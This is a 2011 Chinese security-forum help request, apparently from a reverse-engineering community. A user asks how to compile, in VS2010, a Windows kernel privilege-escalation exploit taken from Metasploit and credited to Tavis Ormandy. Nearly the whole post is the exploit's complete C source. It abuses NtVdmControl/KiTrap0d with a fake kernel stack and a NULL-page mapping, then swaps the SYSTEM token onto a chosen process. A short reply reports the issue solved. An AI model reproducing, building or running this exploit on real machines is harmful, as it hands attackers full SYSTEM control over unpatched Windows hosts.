首页
社区
课程
招聘
[旧帖] [求助]请帮忙看一下,下面这段来自Metasploit关于Windows提权的代码如何编译调试 0.00雪花
发表于: 2011-4-22 16:47 1453

[旧帖] [求助]请帮忙看一下,下面这段来自Metasploit关于Windows提权的代码如何编译调试 0.00雪花

2011-4-22 16:47
1453
代码如下,是在Metasploit中一段在Windows下提权的漏洞利用代码,尝试编译了几次都没有成功,不知道是我的编译环境不对还是别的原因。我的编译环境是VS2010。还请大家帮我看一下,谢谢。

//
// --------------------------------------------------
// Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit
// -------------------------------------------- taviso@sdf.lonestar.org ---
//
// Tavis Ormandy, June 2009.
//
//  Tested on:
//      $ cmd /c ver
//      Microsoft Windows [Version 5.2.3790]
//
// This file contains the exploit payload and VDM Subsystem control routines.
//

#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS // I prefer the definitions from ntstatus.h
#endif
#include <windows.h>
#include <assert.h>
#include <stdio.h>
#include <winerror.h>
#include <winternl.h>
#include <stddef.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include <ntstatus.h>

// Process to escalate to SYSTEM
static DWORD TargetPid;

// Pointer to fake kernel stack.
static PDWORD KernelStackPointer;

#define KernelStackSize 1024

// Enforce byte alignment by default
#pragma pack(1)

// Kernel module handle
static HMODULE KernelHandle;

// Eflags macros
#define EFLAGS_CF_MASK   0x00000001 // carry flag
#define EFLAGS_PF_MASK   0x00000004 // parity flag
#define EFLAGS_AF_MASK   0x00000010 // auxiliary carry flag
#define EFLAGS_ZF_MASK   0x00000040 // zero flag
#define EFLAGS_SF_MASK   0x00000080 // sign flag
#define EFLAGS_TF_MASK   0x00000100 // trap flag
#define EFLAGS_IF_MASK   0x00000200 // interrupt flag
#define EFLAGS_DF_MASK   0x00000400 // direction flag
#define EFLAGS_OF_MASK   0x00000800 // overflow flag
#define EFLAGS_IOPL_MASK 0x00003000 // I/O privilege level
#define EFLAGS_NT_MASK   0x00004000 // nested task
#define EFLAGS_RF_MASK   0x00010000 // resume flag
#define EFLAGS_VM_MASK   0x00020000 // virtual 8086 mode
#define EFLAGS_AC_MASK   0x00040000 // alignment check
#define EFLAGS_VIF_MASK  0x00080000 // virtual interrupt flag
#define EFLAGS_VIP_MASK  0x00100000 // virtual interrupt pending
#define EFLAGS_ID_MASK   0x00200000 // identification flag

#ifndef PAGE_SIZE
# define PAGE_SIZE 0x1000
#endif



// http://svn.reactos.org/reactos/trunk/reactos/include/ndk/ketypes.h
enum { VdmStartExecution = 0, VdmInitialize = 3 };

VOID    FirstStage();
BOOL    InitializeVdmSubsystem();
PVOID   KernelGetProcByName(PSTR);
BOOL    FindAndReplaceMember(PDWORD, DWORD, DWORD, DWORD, BOOL);
BOOL	CheckAndReplace(PDWORD, DWORD, DWORD, DWORD);

DWORD	ethreadOffsets[] =	{	0x6,	// WinXP SP3, VistaSP2
0xA		// Windows 7, VistaSP1
};

// This routine is where I land after successfully triggering the vulnerability.
VOID FirstStage()
{
	FARPROC DbgPrint;
	FARPROC PsGetCurrentThread;
	FARPROC PsGetCurrentProcessId;
	FARPROC PsGetCurrentThreadStackBase, PsGetCurrentThreadStackLimit;
	FARPROC PsLookupProcessByProcessId;
	FARPROC PsReferencePrimaryToken;
	FARPROC ZwTerminateProcess;
	PVOID CurrentProcess;
	PVOID CurrentThread;
	PVOID TargetProcess, *PsInitialSystemProcess;
	DWORD StackBase, StackLimit, NewStack;
	DWORD i;
	LIST_ENTRY *ThreadListHead;
	HANDLE pid;
	HANDLE pret;

	// Keep interrupts off until I've repaired my KTHREAD.
	__asm cli

		// Resolve some routines I need from the kernel export directory
		DbgPrint                        = KernelGetProcByName("DbgPrint");
	PsGetCurrentThread              = KernelGetProcByName("PsGetCurrentThread");
	PsGetCurrentProcessId           = KernelGetProcByName("PsGetCurrentProcessId");
	PsGetCurrentThreadStackBase     = KernelGetProcByName("PsGetCurrentThreadStackBase");
	PsGetCurrentThreadStackLimit    = KernelGetProcByName("PsGetCurrentThreadStackLimit");
	PsInitialSystemProcess          = KernelGetProcByName("PsInitialSystemProcess");
	PsLookupProcessByProcessId      = KernelGetProcByName("PsLookupProcessByProcessId");
	PsReferencePrimaryToken         = KernelGetProcByName("PsReferencePrimaryToken");
	ZwTerminateProcess              = KernelGetProcByName("ZwTerminateProcess");

	CurrentThread                   = (PVOID) PsGetCurrentThread();
	StackLimit                      = (DWORD) PsGetCurrentThreadStackLimit();
	StackBase                       = (DWORD) PsGetCurrentThreadStackBase();

	//DbgPrint("FirstStage() Loaded, CurrentThread @%p Stack %p - %p\n",
	//         CurrentThread,
	//         StackBase,
	//        StackLimit);

	NewStack = StackBase - ((StackBase - StackLimit) / 2);

	// First I need to repair my CurrentThread, find all references to my fake kernel
	// stack and repair them. Note that by "repair" I mean randomly point them
	// somewhere inside the real stack.

	// Walk only the offsets that could possibly be bad based on testing, and see if they need
	// to be swapped out.  O(n^2) -> O(c) wins the race!
	for (i = 0; i < sizeof(ethreadOffsets) / sizeof (DWORD); i++) {
		CheckAndReplace((((PDWORD) CurrentThread)+ethreadOffsets[i]),
			(DWORD) &KernelStackPointer[0],
			(DWORD) &KernelStackPointer[KernelStackSize - 1],
			(DWORD) NewStack);
	}

	// DbgPrint("CurrentProcess: 0x%.8x (newstack: 0x%.8x\n", CurrentProcess, NewStack);
	// ThreadListHead = (LIST_ENTRY *) ((unsigned char *)CurrentProcess) + 0x190;

	//DbgPrint("ThreadListHead[1]: FLink:0x%.8x, BLink:0x%.8x\n", ThreadListHead->Flink, ThreadListHead->Blink);

	// Find the EPROCESS structure for the process I want to escalate
	if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) {
		PACCESS_TOKEN SystemToken;
		PACCESS_TOKEN TargetToken;

		// What's the maximum size the EPROCESS structure is ever likely to be?
		CONST DWORD MaxExpectedEprocessSize = 0x200;

		// DbgPrint("PsLookupProcessByProcessId(%u) => %p\n", TargetPid, TargetProcess);
		//DbgPrint("PsInitialSystemProcess @%p\n", *PsInitialSystemProcess);

		// Find the Token object for my target process, and the SYSTEM process.
		TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);
		SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);

		//DbgPrint("PsReferencePrimaryToken(%p) => %p\n", TargetProcess, TargetToken);
		//DbgPrint("PsReferencePrimaryToken(%p) => %p\n", *PsInitialSystemProcess, SystemToken);

		// Find the token in the target process, and replace with the system token.
		FindAndReplaceMember((PDWORD) TargetProcess,
			(DWORD) TargetToken,
			(DWORD) SystemToken,
			MaxExpectedEprocessSize,
			TRUE);
		// Success
		pret = 'w00t';
	} else {
		// Maybe the user closed the window?
		// Report this failure
		pret = 'LPID';
	}

	__asm {
		mov eax, -1   // ZwCurrentProcess macro returns -1
			mov ebx, NewStack
			mov ecx, pret
			mov edi, ZwTerminateProcess
			mov esp, ebx  // Swap the stack back to kernel-land
			mov ebp, ebx  // Swap the frame pointer back to kernel-land
			sub esp, 256
			push ecx      // Push the return code
			push eax      // Push the process handle
			sti           // Restore interrupts finally
			call edi      // Call ZwTerminateProcess
			__emit 0xCC;  // Hope we never end up here
	}
}

// Search the specified data structure for a member with CurrentValue.
BOOL FindAndReplaceMember(PDWORD Structure,
						  DWORD CurrentValue,
						  DWORD NewValue,
						  DWORD MaxSize,
						  BOOL ObjectRefs)
{
	DWORD i, Mask;

	// Microsoft QWORD aligns object pointers, then uses the lower three
	// bits for quick reference counting (nice trick).
	Mask = ObjectRefs ? ~7 : ~0;

	// Mask out the reference count.
	CurrentValue &= Mask;

	// Scan the structure for any occurrence of CurrentValue.
	for (i = 0; i < MaxSize; i++) {
		if ((Structure[i] & Mask) == CurrentValue) {
			// And finally, replace it with NewValue.
			if (ObjectRefs == FALSE)
				__asm int 3
				Structure[i] = NewValue;
			return TRUE;
		}
	}

	// Member not found.
	return FALSE;
}

BOOL CheckAndReplace(PDWORD checkMe, DWORD rangeStart, DWORD rangeEnd, DWORD value) {
	if (*checkMe >= rangeStart && *checkMe <= rangeEnd) {
		*checkMe = value;
		return TRUE;
	} else {
		return FALSE;
	}
}

// Find an exported kernel symbol by name.
PVOID KernelGetProcByName(PSTR SymbolName)
{
	PUCHAR ImageBase;
	PULONG NameTable;
	PULONG FunctionTable;
	PUSHORT OrdinalTable;
	PIMAGE_EXPORT_DIRECTORY ExportDirectory;
	PIMAGE_DOS_HEADER DosHeader;
	PIMAGE_NT_HEADERS PeHeader;
	DWORD i;

	ImageBase       = (PUCHAR) KernelHandle;
	DosHeader       = (PIMAGE_DOS_HEADER) ImageBase;
	PeHeader        = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
	ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageBase
		+ PeHeader->OptionalHeader
		. DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
	. VirtualAddress);

	// Find required tablesa from the ExportDirectory.
	NameTable       = (PULONG)(ImageBase + ExportDirectory->AddressOfNames);
	FunctionTable   = (PULONG)(ImageBase + ExportDirectory->AddressOfFunctions);
	OrdinalTable    = (PUSHORT)(ImageBase + ExportDirectory->AddressOfNameOrdinals);

	// Scan each entry for a matching name.
	for (i = 0; i < ExportDirectory->NumberOfNames; i++) {
		PCHAR Symbol = ImageBase + NameTable[i];

		if (strcmp(Symbol, SymbolName) == 0) {
			// Symbol found, return the appropriate entry from FunctionTable.
			return (PVOID)(ImageBase + FunctionTable[OrdinalTable[i]]);
		}
	}

	// Symbol not found, this is likely fatal :-(
	return NULL;
}

// Exploit entrypoint.
BOOL APIENTRY DllMain(HMODULE Module, DWORD Reason, LPVOID Reserved)
{
	CONST DWORD MinimumExpectedVdmTibSize = 0x400;
	CONST DWORD MaximumExpectedVdmTibSize = 0x800;
	FARPROC NtVdmControl;
	DWORD KernelStack[KernelStackSize];
	DWORD Ki386BiosCallReturnAddress;
	CHAR Pid[32], Off[32], Krn[32];
	struct {
		ULONG   Size;
		PVOID   Padding0;
		PVOID   Padding1;
		CONTEXT Padding2;
		CONTEXT VdmContext;
		DWORD   Padding3[1024];
	} VdmTib = {0};

	// Initialise these structures with recognisable constants to ease debugging.
	FillMemory(&VdmTib, sizeof VdmTib, 'V');
	FillMemory(&KernelStack, sizeof KernelStack, 'K');

	// Parent passes parameters via environment variables.
	//
	//  - VDM_TARGET_PID
	//    Pid of the process to transplant a SYSTEM token onto.
	//  - VDM_TARGET_OFF
	//    Offset from ntoskrnl of Ki386BiosCallReturnAddress.
	//  - VDM_TARGET_KRN
	//    Ntoskrnl base address.

	GetEnvironmentVariable("VDM_TARGET_PID", Pid, sizeof Pid);
	GetEnvironmentVariable("VDM_TARGET_KRN", Krn, sizeof Krn);
	GetEnvironmentVariable("VDM_TARGET_OFF", Off, sizeof Off);

	NtVdmControl                = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl");
	TargetPid                   = strtoul(Pid, NULL, 0);

	// Setup the fake kernel stack, and install a minimal VDM_TIB,
	KernelStackPointer          = KernelStack;
	KernelStack[0]              = (DWORD) &KernelStack[8];      // Esp
	KernelStack[1]              = (DWORD) NtCurrentTeb();       // Teb
	KernelStack[2]              = (DWORD) NtCurrentTeb();       // Teb
	KernelStack[7]              = (DWORD) FirstStage;           // RetAddr
	KernelHandle                = (HMODULE) strtoul(Krn, NULL, 0);
	VdmTib.Size                 = MinimumExpectedVdmTibSize;
	*NtCurrentTeb()->Reserved4  = &VdmTib;

	// Initialize the VDM Subsystem.
	InitializeVdmSubsystem();

	VdmTib.Size                 = MinimumExpectedVdmTibSize;
	VdmTib.VdmContext.SegCs     = 0x0B;
	VdmTib.VdmContext.Esi       = (DWORD) &KernelStack;
	VdmTib.VdmContext.Eip       = strtoul(Krn, NULL, 0) + strtoul(Off, NULL, 0);
	VdmTib.VdmContext.EFlags    = EFLAGS_TF_MASK;
	*NtCurrentTeb()->Reserved4  = &VdmTib;

	// Allow thread initialization to complete. Without is, there is a chance
	// of a race in KiThreadInitialize's call to SwapContext
	Sleep(1000);

	// Trigger the vulnerable code via NtVdmControl().
	while (VdmTib.Size++ < MaximumExpectedVdmTibSize)
		NtVdmControl(VdmStartExecution, NULL);

	// Unable to find correct VdmTib size.
	ExitThread('VTIB');
}

// Setup a minimal execution environment to satisfy NtVdmControl().
BOOL InitializeVdmSubsystem()
{
	FARPROC NtAllocateVirtualMemory;
	FARPROC NtFreeVirtualMemory;
	FARPROC NtVdmControl;
	PBYTE BaseAddress;
	ULONG RegionSize;
	static DWORD TrapHandler[128];
	static DWORD IcaUserData[128];
	static struct {
		PVOID TrapHandler;
		PVOID IcaUserData;
	} InitData;

	NtAllocateVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL"), "NtAllocateVirtualMemory");
	NtFreeVirtualMemory     = GetProcAddress(GetModuleHandle("NTDLL"), "NtFreeVirtualMemory");
	NtVdmControl            = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl");
	BaseAddress             = (PVOID) 0x00000001;
	RegionSize              = (ULONG) 0x00000000;
	InitData.TrapHandler    = TrapHandler;
	InitData.IcaUserData    = IcaUserData;

	// Remove anything currently mapped at NULL
	NtFreeVirtualMemory(GetCurrentProcess(), &BaseAddress, &RegionSize, MEM_RELEASE);

	BaseAddress             = (PVOID) 0x00000001;
	RegionSize              = (ULONG) 0x00100000;

	// Allocate the 1MB virtual 8086 address space.
	if (NtAllocateVirtualMemory(GetCurrentProcess(),
		&BaseAddress,
		0,
		&RegionSize,
		MEM_COMMIT | MEM_RESERVE,
		PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS) {
			ExitThread('NTAV');
			return FALSE;
	}

	// Finalise the initialisation.
	if (NtVdmControl(VdmInitialize, &InitData) != STATUS_SUCCESS) {
		ExitThread('VDMC');
		return FALSE;
	}

	return TRUE;
}

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 146
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
已解决,谢谢
2011-4-22 22:41
0
游客
登录 | 注册 方可回帖
返回
//